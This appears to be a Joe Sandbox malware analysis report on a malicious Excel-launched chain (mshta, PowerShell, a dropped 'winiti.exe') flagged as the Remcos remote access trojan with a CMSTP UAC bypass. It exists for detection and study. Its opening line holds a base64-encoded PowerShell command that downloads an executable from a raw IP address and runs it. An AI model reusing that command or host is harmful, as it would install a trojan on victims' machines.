CAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Imagebase:	0x13f350000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Analysis Process: csc.exePID: 4020, Parent PID: 3936

General

Target ID:	20
Start time:	03:30:23
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.cmdline"
Imagebase:	0x13fa10000
File size:	2'758'280 bytes
MD5 hash:	23EE3D381CFE3B9F6229483E2CE2F9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:30:24
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC9F.tmp" "c:\Users\user\AppData\Local\Temp\ge3s1wmx\CSCB36078EA61014130AC1261969F8319D.TMP"
Imagebase:	0x13ff50000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:30:28
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\winiti.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\winiti.exe"
Imagebase:	0x13f5f0000
File size:	2'673'152 bytes
MD5 hash:	4FB3E6E7B8F9C12CD2D5E161F7B94760
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:30:28
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Imagebase:
File size:	261'688 bytes
MD5 hash:	C1BE61F3DE532751D6C1A35B851B0367
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	03:30:29
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xcb0000
File size:	42'056 bytes
MD5 hash:	EFBCDD2A3EBEA841996AEF00417AA958
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000019.00000002.484511050.0000000000835000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet2

Declaration

Line	Content
1	Attribute VB_Name = "Sheet2"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet3

Declaration

Line	Content
1	Attribute VB_Name = "Sheet3"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Analysis Process: mshta.exePID: 3296, Parent PID: 564COMMON

Executed Functions

Function 031B0FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.422784556.00000000031B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_31b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 300254f3231993d467f09c06316af5edb6eaa4338009a099092a1367209101aa
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash:

Function 031B0FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.422784556.00000000031B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_31b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 300254f3231993d467f09c06316af5edb6eaa4338009a099092a1367209101aa
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 3400, Parent PID: 3376COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 000007FE899F7018 Relevance: 1.6, APIs: 1, Instructions: 129
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE899F7BF0

Memory Dump Source

Source File: 00000007.00000002.456821030.000007FE899F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe899f0000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: 57e0ea8ff209ae2a786c045d17250b47d06dcbfc7a8eb966348c235fdc8f49ec
Instruction ID: 71c211064a91aa74a8ce5071b02526f3c7f91a7aba0f5081aaa2ac5c42da5f97
Opcode Fuzzy Hash: 57e0ea8ff209ae2a786c045d17250b47d06dcbfc7a8eb966348c235fdc8f49ec
Instruction Fuzzy Hash: 7A319031918A5C8FDB58EF5CD8857A9B7E1FB69321F00822ED04DD3651CB70A8058B81

Function 000007FE89AC0F4A Relevance: 5.3, Strings: 4, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8h<, xrefs: 000007FE89AC107D
8h<, xrefs: 000007FE89AC106B
8h<, xrefs: 000007FE89AC1154
8h<, xrefs: 000007FE89AC0FD5

Memory Dump Source

Source File: 00000007.00000002.456906198.000007FE89AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89ac0000_powershell.jbxd

Similarity

API ID:
String ID: 8h<$8h<$8h<$8h<
API String ID: 0-520171196
Opcode ID: 49f98a1f7dce5f85b5316ee0b29c309ef960a693195c76156441a5023d5f5c58
Instruction ID: 312008ed4d1e6f180959b670b8e349af900ba608e972ed9a065919a83deddd8a
Opcode Fuzzy Hash: 49f98a1f7dce5f85b5316ee0b29c309ef960a693195c76156441a5023d5f5c58
Instruction Fuzzy Hash: 24A1D220A0D7CA0FE747D73C58646657FE1EF47258B2900EBD58ECB2A3D9189C5AC361

Function 000007FE89AC566D Relevance: 1.7, Strings: 1, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

V, xrefs: 000007FE89AC5744

Memory Dump Source

Source File: 00000007.00000002.456906198.000007FE89AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89ac0000_powershell.jbxd

Similarity

API ID:
String ID: V
API String ID: 0-1342839628
Opcode ID: 3b88d5af0196fb849c45ae73b54ea9d02cc47a403d9a86902f1aa9840958b613
Instruction ID: 7c257f1dc6a685d078b1f939684ef1405139d1db8acf94d9630697452c5171f3
Opcode Fuzzy Hash: 3b88d5af0196fb849c45ae73b54ea9d02cc47a403d9a86902f1aa9840958b613
Instruction Fuzzy Hash: 62D1273080E7C91FD357973898146B67FA4EF57264F0911EBE48DCB0A3D618AD1AC3A2

Function 000007FE899F7AE1 Relevance: 1.7, APIs: 1, Instructions: 159
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE899F7BF0

Memory Dump Source

Source File: 00000007.00000002.456821030.000007FE899F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe899f0000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: 10e21d837cd752a3c70500a2552246aa0a095d5d503b4ef883d3900a5d202389
Instruction ID: 19eef98bea44a3bc7bf06c9a8cecebbf9ff3d9e28e4fd5846833f4787cdac5ee
Opcode Fuzzy Hash: 10e21d837cd752a3c70500a2552246aa0a095d5d503b4ef883d3900a5d202389
Instruction Fuzzy Hash: 4341F57091DB889FDB1ADB58D8447FABBF0FB56321F04426FD089D3562CB64A806C781

Function 000007FE89AC8549 Relevance: .7, Instructions: 707
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.456906198.000007FE89AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89ac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc6fd2091e8dae0d3d7aeef86f1d7e072752b5b4f45e245964049c0a9035c6b5
Instruction ID: 35b94f3ff96226d02deb09ed360ebadad33592b546abc5ddf054c99cfa6942c5
Opcode Fuzzy Hash: cc6fd2091e8dae0d3d7aeef86f1d7e072752b5b4f45e245964049c0a9035c6b5
Instruction Fuzzy Hash: C422F63090CB894FD79ADB2C94506B97BE2FF9A744F2400EED44ECB2A3DA24AC55C751

Function 000007FE89AC4165 Relevance: .4, Instructions: 435
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.456906198.000007FE89AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89ac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c7fe621b8e0522053fba86d8a3f78ba9b42cd845e76596065581cd5fddfbfdf
Instruction ID: 3b2d24a1f550a87ee9fd61e5873df2223f648a134e97f1cb71219df07a3a3202
Opcode Fuzzy Hash: 4c7fe621b8e0522053fba86d8a3f78ba9b42cd845e76596065581cd5fddfbfdf
Instruction Fuzzy Hash: 5BC1353090DBCA4FE74AE72854546BA7FE1EF86758F1501EBD48ECB1A3C618AC16C361

Non-executed Functions

Function 000007FE89AC352E Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.456906198.000007FE89AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe89ac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62c829c2e24d71071b5207ad50ae66f3b4de56fe513071356b266c2cddd6a4bd
Instruction ID: c36e8fb017852f120f41f41d1d90226404cec8ebece43208bf621e72c3e6179e
Opcode Fuzzy Hash: 62c829c2e24d71071b5207ad50ae66f3b4de56fe513071356b266c2cddd6a4bd
Instruction Fuzzy Hash: 6BA1052090E7CD0FD747A77898146A67FF1EF4B258F1A01EBD48DCB1A3D618991AC362

Analysis Process: winiti.exePID: 3608, Parent PID: 3400COMMON

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
Total number of Nodes:	918
Total number of Limit Nodes:	48

Executed Functions

Function 000000013FDE26B0 Relevance: 10.6, APIs: 7, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,000000013FDDB04A), ref: 000000013FDE26BF
GetNumaHighestNodeNumber.KERNEL32 ref: 000000013FDE26FD
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,000000013FDDB04A), ref: 000000013FDE2729
GetProcessGroupAffinity.KERNEL32 ref: 000000013FDE273A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,000000013FDDB04A), ref: 000000013FDE2749
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,000000013FDDB04A), ref: 000000013FDE27E0
GetProcessAffinityMask.KERNEL32 ref: 000000013FDE27F3

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: Process$AffinityCurrent$ErrorGroupHighestInfoLastMaskNodeNumaNumberSystem
String ID:
API String ID: 580471860-0
Opcode ID: 19b53f92ddd9a9a7ef10cbccfe69bfe921807fcdb46f8766bab15c0bbd7aa85f
Instruction ID: 736eec757c262ce87b684346fe93b305bdddd0c65ba92849bd5943a59a976299
Opcode Fuzzy Hash: 19b53f92ddd9a9a7ef10cbccfe69bfe921807fcdb46f8766bab15c0bbd7aa85f
Instruction Fuzzy Hash: 3551E132E04B4486EB52DF6AE8843DA77A1F769BC1F840039EE4D87364EB38C606C700

Function 000000013FDD5760 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000013FDDB020: FlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,000000013FDD576B), ref: 000000013FDDB02B
Part of subcall function 000000013FDDB020: QueryInformationJobObject.KERNEL32 ref: 000000013FDDB0FE

Part of subcall function 000000013FDDAEC0: GetModuleHandleExW.KERNEL32(?,?,?,?,000000013FDD3819), ref: 000000013FDDAED1

RtlAddVectoredExceptionHandler.NTDLL ref: 000000013FDD57D8

Part of subcall function 000000013FDDD7B0: _wcsicmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 000000013FDDD8AD

Strings

StressLogLevel, xrefs: 000000013FDD5832
TotalStressLogSize, xrefs: 000000013FDD57F9

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: AllocExceptionHandleHandlerInformationModuleObjectQueryVectored_wcsicmp
String ID: StressLogLevel$TotalStressLogSize
API String ID: 2876344857-4058818204
Opcode ID: b8dcc97092589a3276693584986118e267024c8b20105f4c83ed43bccf9c10d3
Instruction ID: 6fcc762c9220a6e87cff8b587366660e67260a395e6df9b0e9ad30481eba0372
Opcode Fuzzy Hash: b8dcc97092589a3276693584986118e267024c8b20105f4c83ed43bccf9c10d3
Instruction Fuzzy Hash: F441AF32E1074082FA51AFA1E4097D973A1EF85788F485029FE49177EADB74CB4BC780

Function 000000013FDE2260 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000000013FDE22CE
IsProcessInJob.KERNEL32 ref: 000000013FDE22DE
QueryInformationJobObject.KERNEL32 ref: 000000013FDE230E
GlobalMemoryStatusEx.KERNEL32 ref: 000000013FDE2377
GlobalMemoryStatusEx.KERNELBASE ref: 000000013FDE23BE
GlobalMemoryStatusEx.KERNELBASE ref: 000000013FDE2435

Strings

@, xrefs: 000000013FDE23B3
@, xrefs: 000000013FDE235F
@, xrefs: 000000013FDE242A

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: GlobalMemoryStatus$Process$CurrentInformationObjectQuery
String ID: @$@$@
API String ID: 2645093340-1177533131
Opcode ID: ca88b2e47b65645c36c042b4dc4072e1c75f948b70b361a8b6e96ed663280510
Instruction ID: e492ddee73dbb625dfe29c123d39e53e25c698c0fd73a6e7a5611deaf27ba14d
Opcode Fuzzy Hash: ca88b2e47b65645c36c042b4dc4072e1c75f948b70b361a8b6e96ed663280510
Instruction Fuzzy Hash: CB512C32B09AC085EB719F55E5443DAB3A0F798B90F44423ADA9D53B98DF7CC54A8B00

Function 000000013FDDB020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,000000013FDD576B), ref: 000000013FDDB02B

Part of subcall function 000000013FDE26B0: GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,000000013FDDB04A), ref: 000000013FDE26BF
Part of subcall function 000000013FDE26B0: GetNumaHighestNodeNumber.KERNEL32 ref: 000000013FDE26FD
Part of subcall function 000000013FDE26B0: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,000000013FDDB04A), ref: 000000013FDE2729
Part of subcall function 000000013FDE26B0: GetProcessGroupAffinity.KERNEL32 ref: 000000013FDE273A
Part of subcall function 000000013FDE26B0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,000000013FDDB04A), ref: 000000013FDE2749

Part of subcall function 000000013FDDD7B0: _wcsicmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 000000013FDDD8AD

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,000000013FDD576B), ref: 000000013FDDB09A
GetProcessAffinityMask.KERNEL32 ref: 000000013FDDB0AD
QueryInformationJobObject.KERNEL32 ref: 000000013FDDB0FE

Strings

PROCESSOR_COUNT, xrefs: 000000013FDDB066

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: Process$AffinityCurrent$AllocErrorGroupHighestInfoInformationLastMaskNodeNumaNumberObjectQuerySystem_wcsicmp
String ID: PROCESSOR_COUNT
API String ID: 296690692-4048346908
Opcode ID: f854a702a83dc01c41646339c6b0099762c4a12ee8e6a0d15d954c5e394c61ba
Instruction ID: 3de7096c5d51fc5c69007337340e52b751dda9deaf237b9e6cc63cd3557821f4
Opcode Fuzzy Hash: f854a702a83dc01c41646339c6b0099762c4a12ee8e6a0d15d954c5e394c61ba
Instruction Fuzzy Hash: 5F31C332A0464186EB249F90D8883ED63A5FB8579CF84013DE799477E5DB38CA0BD750

Function 000000013FDD6620 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 000000013FDD66D5
RaiseFailFastException.KERNEL32 ref: 000000013FDD6701
RaiseFailFastException.KERNEL32 ref: 000000013FDD673A

Strings

Fatal error. Invalid Program: attempted to call a UnmanagedCallersOnly method from managed code., xrefs: 000000013FDD6726

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: ExceptionFailFastRaise$Sleep
String ID: Fatal error. Invalid Program: attempted to call a UnmanagedCallersOnly method from managed code.
API String ID: 3706814929-926682358
Opcode ID: 748c09927475cf9e349a911d070e2e85ba1b369a78d20386409e9d4058d69fe5
Instruction ID: 58798879c27453f5b5af52b0f429a81c2e6c07b07933697c4022721058f4657d
Opcode Fuzzy Hash: 748c09927475cf9e349a911d070e2e85ba1b369a78d20386409e9d4058d69fe5
Instruction Fuzzy Hash: E6416132615B4486EBA2EF6AE4587DA33E0FB08B84F04413EEA49437E5DF39C552C780

Function 000000013FDDB320 Relevance: 6.0, APIs: 4, Instructions: 26
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 000000013FDDB341
SetThreadPriority.KERNELBASE ref: 000000013FDDB35D
ResumeThread.KERNELBASE ref: 000000013FDDB366
CloseHandle.KERNELBASE ref: 000000013FDDB36F

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: Thread$CloseCreateHandlePriorityResume
String ID:
API String ID: 3633986771-0
Opcode ID: 43130a00a2952a497caba751cbab80e0c5945ae47426b9584871a3a1cc0fd745
Instruction ID: 51d9b90f2f0cb4bead726826c3fc5e248c1d0c8a523f80c937f40abb293b820f
Opcode Fuzzy Hash: 43130a00a2952a497caba751cbab80e0c5945ae47426b9584871a3a1cc0fd745
Instruction Fuzzy Hash: 5AE012B6F1170582FB159F72B8193A55354BB98BA5F484438DE4A173A0EF3CC2978644

Function 000000013FDE2080 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000000013FDE20B7
GlobalMemoryStatusEx.KERNELBASE ref: 000000013FDE217C

Strings

@, xrefs: 000000013FDE2174

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
